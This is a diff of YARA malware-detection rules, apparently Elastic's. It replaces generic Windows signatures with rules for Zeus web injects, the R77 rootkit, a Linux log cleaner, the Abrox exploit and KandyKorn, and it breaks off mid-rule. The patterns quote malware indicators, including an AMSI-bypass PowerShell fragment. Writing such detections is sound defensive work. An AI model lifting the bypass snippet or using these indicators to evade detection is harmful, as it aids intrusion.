+		fingerprint = "54d3c59ba5ca16fbe99a4629f4fe7464d13f781985a7f35d05604165f9284483"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 2E 20 49 50 20 3D 20 25 73 2C 20 50 6F 72 74 20 3D 20 25 64 2C 20 73 6B 20 3D 20 25 64 }
-		$a2 = { 2E 20 49 50 20 3D 20 25 73 2C 20 50 6F 72 74 20 3D 20 25 64 2C 20 4C 65 6E 20 3D 20 25 64 }
+		$a = { 45 E0 83 45 C0 01 EB 11 83 45 DC 01 EB 0B 83 45 D8 01 EB 05 83 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_B577C086 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Cleanlog_400B7595 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Hacktool Cleanlog (Linux.Hacktool.Cleanlog)"
 		author = "Elastic Security"
-		id = "b577c086-37bd-4227-8cde-f15e2ce0d0ae"
-		date = "2024-01-07"
-		modified = "2024-01-12"
+		id = "400b7595-c3c4-4999-b3b9-dcfe9b5df3f6"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L670-L688"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "27dd61d4d9997738e63e813f8b8ea9d5cf1291eb02d20d1a2ad75ac8aa99459c"
-		logic_hash = "a7684340171415ee01e855706192cdffcccd6c82362707229b2c1d096f87dfa8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Cleanlog.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4df4ebcc61ab2cdb8e5112eeb4e2f29e4e841048de43d7426b1ec11afe175bf6"
+		logic_hash = "e36acf708875efda88143124e11fef5b0e2f99d17b0c49344db969cf0d454db1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "0de3cab973de067f2c10252bf761ced353de57c03c4b2e95db05ee3ca30259ea"
-		severity = 50
+		fingerprint = "4423f1597b199046bfc87923e3e229520daa2da68c4c4a3ac69127ace518f19a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 24 83 7D 08 00 75 0A B8 9A FF FF FF E9 65 02 00 00 8B 45 08 89 45 FC 8B 4D FC 83 79 18 00 75 0A B8 9A FF FF FF E9 4C 02 00 00 8B 55 FC 83 7A 7C 00 74 0C 8B 45 08 50 E8 5F 06 00 }
+		$a = { 72 20 65 6E 74 72 79 20 28 64 65 66 61 75 6C 74 3A 20 31 73 74 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_62E1F5Fc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Zeus_E51C60D7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature."
 		author = "Elastic Security"
-		id = "62e1f5fc-325b-46e0-8c03-1a73e873ab16"
-		date = "2024-01-07"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L690-L710"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4a692e244a389af0339de8c2d429b541d6d763afb0a2b1bb20bee879330f2f42"
-		logic_hash = "76e21746ee396f13073b3db1e876246f01cef547d312691dff3dc895ea3a2b82"
+		id = "e51c60d7-3afa-4cf5-91d8-7782e5026e46"
+		date = "2021-02-07"
+		modified = "2021-10-04"
+		reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Zeus.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3"
+		logic_hash = "cde738f95dbad1fbad59e20528b2f577e5e3ee5fcb37c68a45d53c689d2af525"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "64839df90109a0c706c0a3626ba6c4c2eaa5dcd564f0e9889ab9ad4f12e150fe"
-		severity = 50
+		fingerprint = "813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba"
+		threat_name = "Windows.Trojan.Zeus"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 43 6C 69 65 6E 74 2E 48 61 6E 64 6C 65 5F 50 61 63 6B 65 74 }
-		$a2 = { 67 65 74 5F 73 45 78 70 59 65 61 72 }
-		$a3 = { 73 65 74 5F 73 45 78 70 59 65 61 72 }
+		$a1 = "name=%s&port=%u" ascii fullword
+		$a2 = "data_inject" ascii wide fullword
+		$a3 = "keylog.txt" ascii fullword
+		$a4 = "User-agent: %s]]]" ascii fullword
+		$a5 = "%s\\%02d.bmp" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_55D6A1Ab : FILE MEMORY
+rule ELASTIC_Windows_Rootkit_R77_5Bab748B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
 		author = "Elastic Security"
-		id = "55d6a1ab-2041-44a5-ae0e-23671fa2b001"
-		date = "2024-01-07"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L712-L731"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ca6ed610479b5aaaf193a2afed8f2ca1e32c0c5550a195d88f689caab60c6fb"
-		logic_hash = "4f3a0b2e45ae4e6a00f137798b700a0925fa6eb19ea6b871d7eeb565548888ba"
+		id = "5bab748b-8576-4967-9b50-a3778db1dd71"
+		date = "2022-03-04"
+		modified = "2022-04-12"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Rootkit_R77.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c"
+		logic_hash = "ebf851ef41fde8e3118acc742cd2b38651f662a00f11dd6f7c65cf56019c43d5"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cd81b61929b18d59630814718443c4b158f9dcc89c7d03a46a531ffc5843f585"
-		severity = 50
+		fingerprint = "2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 51 51 31 33 37 32 33 39 32 34 38 20 }
-		$a2 = { 74 65 6E 63 65 6E 74 3A 2F 2F 6D 65 73 73 61 67 65 2F 3F 75 69 6E 3D 31 33 37 32 33 39 32 34 38 26 53 69 74 65 3D 63 66 }
+		$a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_F7D3Cdfd : FILE MEMORY
+rule ELASTIC_Windows_Rootkit_R77_Eb366Abc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
 		author = "Elastic Security"
-		id = "f7d3cdfd-72eb-4298-b3ff-432f5c4347c9"
-		date = "2024-01-07"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L733-L751"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f9df83d0b0e06884cdb4a02cd2091ee1fadeabb2ea16ca34cbfef4129ede251f"
-		logic_hash = "23e1008f222eb94a4bd34372834924377e813dc76efa8544b0dcbe7d3e3addde"
+		id = "eb366abc-d256-4dd2-ad97-898fdf905b8a"
+		date = "2023-05-09"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Rootkit_R77.yar#L22-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f"
+		logic_hash = "3d6f1c60bf749c53f4a4fcfd6490d309e4450d5f7e64de4665c3d80af1bce44f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "db703a2ddcec989a81b99a67e61f4be34a2b0e55285c2bdec91cd2f7fc7e52f3"
-		severity = 50
+		fingerprint = "beaa87877382a0cba0fcad6397b22bef2ff6dad8e3454ae517b529fbc76ff97a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 51 56 57 E8 A3 D0 FF FF 83 78 68 00 74 21 FF 75 24 FF 75 20 FF 75 18 FF 75 14 FF 75 10 FF 75 0C FF 75 08 E8 E5 8C FF FF 83 C4 1C 85 C0 75 73 8B 7D 1C 8D 45 F8 50 8D 45 FC 50 57 FF }
+		$a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }
+		$a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_0350Ed31 : FILE MEMORY
+rule ELASTIC_Windows_Rootkit_R77_99050E7D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
 		author = "Elastic Security"
-		id = "0350ed31-ed07-4e9a-8488-3765c990f25c"
-		date = "2024-01-07"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L753-L771"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "008f9352765d1b3360726363e3e179b527a566bc59acecea06bd16eb16b66c5d"
-		logic_hash = "149dd26466f47b2e7f514bdcc9822470334490da2898840f35fe6b537ce104f6"
+		id = "99050e7d-b9b2-411f-b315-0ac7f556314c"
+		date = "2023-05-09"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Rootkit_R77.yar#L44-L64"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6"
+		logic_hash = "0fedf4698cc652076090b1fe256d05d2c0bc3ad2ab7ed5faa270c5c7fe0efca1"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aac41abf60a16c02c6250c0468c6f707f9771b48da9e78633de7141d09ca23c8"
-		severity = 50
+		fingerprint = "1fa724556616eed4adfe022602795ffc61fe64dd910b5b83fd7610933b79d71f"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 35 6A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 3F }
+		$a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }
+		$a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_A1Cef0Cd : FILE MEMORY
+rule ELASTIC_Windows_Rootkit_R77_Be403E3C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
 		author = "Elastic Security"
-		id = "a1cef0cd-a811-4d7b-b24e-7935c0418c7a"
-		date = "2024-01-08"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L773-L791"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "71f519c6bd598e17e1298d247a4ad37b78685ca6fd423d560d397d34d16b7db8"
-		logic_hash = "2772906e3a8a088e7c6ea1370af5e5bbe2cbae4f49de9b939524e317be8ddde4"
+		id = "be403e3c-a70d-4126-b464-83060138c79b"
+		date = "2023-05-18"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Rootkit_R77.yar#L66-L85"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796"
+		logic_hash = "efbf924c7a299f2543c639b6262007eb3bdbf6ff5e33dab7d6102814b9477811"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9285f0ea8ed0ceded2f3876ef197b67e8087f7de82a72e0cd9899b05015eee79"
-		severity = 50
+		fingerprint = "46fd9d53771a0c6d14b364589a7cfa291a1c0405d74a97beac75db78faea7e0b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 8B DA 89 45 FC 8B 45 FC E8 76 00 00 00 33 C0 55 68 F0 A0 41 00 64 FF 30 64 89 20 8B 45 FC 80 78 20 01 74 10 8B 45 FC 8B 40 04 8B D3 E8 CE FC FF FF 40 75 0F 8B 45 FC 8B 40 04 8B }
+		$a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }
 
 	condition:
-		all of them
+		$a
 }
-rule ELASTIC_Windows_Generic_Threat_E5F4703F : FILE MEMORY
+rule ELASTIC_Windows_Rootkit_R77_Ee853C9F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
 		author = "Elastic Security"
-		id = "e5f4703f-e834-4904-9036-a8c5996058c8"
-		date = "2024-01-09"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L793-L811"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "362bda1fad3fefce7d173617909d3c1a0a8e234e22caf3215ee7c6cef6b2743b"
-		logic_hash = "f81476d5e5a9bcb42b32d6ec3d4b620165f2878c50691ecf59ef6f34b6ad9d1b"
+		id = "ee853c9f-97ec-45b2-8c67-7b86331f4946"
+		date = "2023-05-18"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Rootkit_R77.yar#L87-L112"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60"
+		logic_hash = "94f080f310ecace76da32ba2b4edcc80dedfb339113823708167c1d842db8cf3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3072ea028b0716e88820782a2658d1f424d57bd988ccfcc1581991649cf52b19"
-		severity = 50
+		fingerprint = "a2bf137ff29044a1f80494aa4b51bd7aa49ae64808b9f1d4566750b9717b847d"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 E4 F8 83 EC 08 83 79 14 08 56 57 8B F1 72 02 8B 31 8B 41 10 8B CE 8D 3C 46 8B D7 E8 AC FA FF FF 8B 75 08 2B F8 D1 FF 0F 57 C0 57 50 0F 11 06 8B CE C7 46 10 00 00 00 00 C7 46 14 00 }
+		$r77_str0 = "$77stager" wide fullword
+		$r77_str1 = "$77svc32" wide fullword
+		$r77_str2 = "$77svc64" wide fullword
+		$r77_str3 = "\\\\.\\pipe\\$77childproc64" wide fullword
+		$r77_str4 = "SOFTWARE\\$77config"
+		$obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }
+		$amsi_patch_ps = "[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)" wide fullword
 
 	condition:
-		all of them
+		($obfuscate_ps and $amsi_patch_ps) or ( all of ($r77_str*))
 }
-rule ELASTIC_Windows_Generic_Threat_8B790Aba : FILE MEMORY
+rule ELASTIC_Windows_Rootkit_R77_D0367E28 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Rootkit R77 (Windows.Rootkit.R77)"
 		author = "Elastic Security"
-		id = "8b790aba-02b4-4c71-a51e-3a56ea5728ec"
-		date = "2024-01-09"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L813-L832"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ec98bfff01d384bdff6bbbc5e17620b31fa57c662516157fd476ef587b8d239e"
-		logic_hash = "8a0b2af3d0c95466ca138dfcc3d6f6a702ec92f5cd4f791b1200c79ffd973840"
+		id = "d0367e28-2c37-45c8-8a74-7ea881f2d471"
+		date = "2023-05-18"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Rootkit_R77.yar#L114-L141"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89"
+		logic_hash = "588b18c54c344ca267b86143df20c7dcaab081e0ef6acae0bd0dae61593eb521"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8581397f15b9985bafa5248f0e7f044bf80c82e441d2216dc0976c806f658d2e"
-		severity = 50
+		fingerprint = "c3f6fe38fcc2ec40ae7c033e37f7a2830f5d53f0e796281bd484bdb65502cd0e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 7A 66 62 50 4A 64 73 72 78 77 7B 7B 79 55 36 46 42 50 4A 3F 20 2E 6E 3E 36 65 73 7A }
-		$a2 = { 50 36 7B 77 64 71 79 64 46 4A 73 64 79 62 45 7A 77 63 62 64 }
+		$str0 = "service_names" wide fullword
+		$str1 = "process_names" wide fullword
+		$str2 = "tcp_local" wide fullword
+		$str3 = "tcp_remote" wide fullword
+		$str4 = "startup" wide fullword
+		$str5 = "ReflectiveDllMain" ascii fullword
+		$str6 = ".detourd" ascii fullword
+		$binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }
+		$binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }
 
 	condition:
-		all of them
+		( all of ($str*)) or $binary0 or $binary1
 }
-rule ELASTIC_Windows_Generic_Threat_76A7579F : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Abrox_5641Ba81 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Exploit Abrox (Linux.Exploit.Abrox)"
 		author = "Elastic Security"
-		id = "76a7579f-4a9b-4dae-935c-14d829d3c416"
-		date = "2024-01-09"
-		modified = "2024-01-12"
+		id = "5641ba81-2c37-4dd1-82d8-532182e8ed15"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L834-L852"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "76c73934bcff7e4ee08b068d1e02b8f5c22161262d127de2b4ac2e81d09d84f6"
-		logic_hash = "08ed2d318e7154195911aaf3705626307b48a54aa195eaa054ec53766d3e198d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Abrox.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8de96c8e61536cae870f4a24127d28b86bd8122428bf13965c596f92182625aa"
+		logic_hash = "29c894720c8d9134623427768ab1ab3d5e66fbeae86dd957f449d00091db9019"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ba5bfc0e012a22172f138c498560a606e6754efa0fa145799f00725e130ad90f"
-		severity = 50
+		fingerprint = "d2abedb6182f86982ebe283215331ce238fda3964535047768f2ea55719b052f"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 8B 55 10 8B 45 08 8B C8 85 D2 74 09 C6 01 00 41 83 EA 01 75 F7 5D C3 55 8B EC 64 A1 30 00 00 00 83 EC 18 8B 40 0C 53 56 57 8B 78 0C E9 A7 00 00 00 8B 47 30 33 F6 8B 5F 2C 8B 3F 89 45 }
+		$a = { 04 58 CD 80 6A 17 58 31 DB CD 80 31 D2 52 68 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_3F060B9C : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Kandykorn_A7Bb6944 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Macos Trojan Kandykorn (MacOS.Trojan.KandyKorn)"
 		author = "Elastic Security"
-		id = "3f060b9c-8c35-4f0f-9dfd-10be6355bea9"
-		date = "2024-01-10"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L854-L872"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "32e7a40b13ddbf9fc73bd12c234336b1ae11e2f39476de99ebacd7bbfd22fba0"
-		logic_hash = "193583f63f22452f96c8372fdc9ef04e2a684f847564a7fe75145ea30d426901"
+		id = "a7bb6944-90fa-40ba-840c-f044f12dcb39"
+		date = "2023-10-23"
+		modified = "2023-10-23"
+		reference = "https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_KandyKorn.yar#L1-L29"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "51dd4efcf714e64b4ad472ea556bf1a017f40a193a647b9e28bf356979651077"
+		logic_hash = "65decd519dee947894dd684c52d91202ebe5587acfecc0b8b56cd73f2981e387"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5bc1d19faa8fc07ef669f6f63baceee5fe452c0e2d54d6154bcc01e11606ae6f"
-		severity = 50
+		fingerprint = "f2b2ebc056c79448b077dce140b2a73d6791b61ddc8bf21d4c565c95f5de49e7"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 55 8B EC 51 51 53 56 8B F1 E8 4B BE FF FF 8D 45 FC 8B CE 50 FF 75 10 FF 75 0C E8 69 FE FF FF 8B D8 8B CE 53 E8 4B FD FF FF 85 C0 0F 84 C6 00 00 00 8B 46 40 83 F8 02 0F 84 B3 00 00 00 83 F8 05 }
+		$str_1 = "resp_file_dir"
+		$str_2 = "resp_cfg_set"
+		$str_3 = "resp_proc_kill"
+		$str_4 = "/com.apple.safari.ck" ascii fullword
+		$str_5 = "/chkupdate.XXX" ascii fullword
+		$seq_file_dir = { 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 48 63 45 ?? 48 83 C0 ?? 48 8B 4D ?? 0F B7 49 ?? 48 01 C8 48 83 C0 01 48 3D 00 00 0A 00 0F 86 ?? ?? ?? ?? }
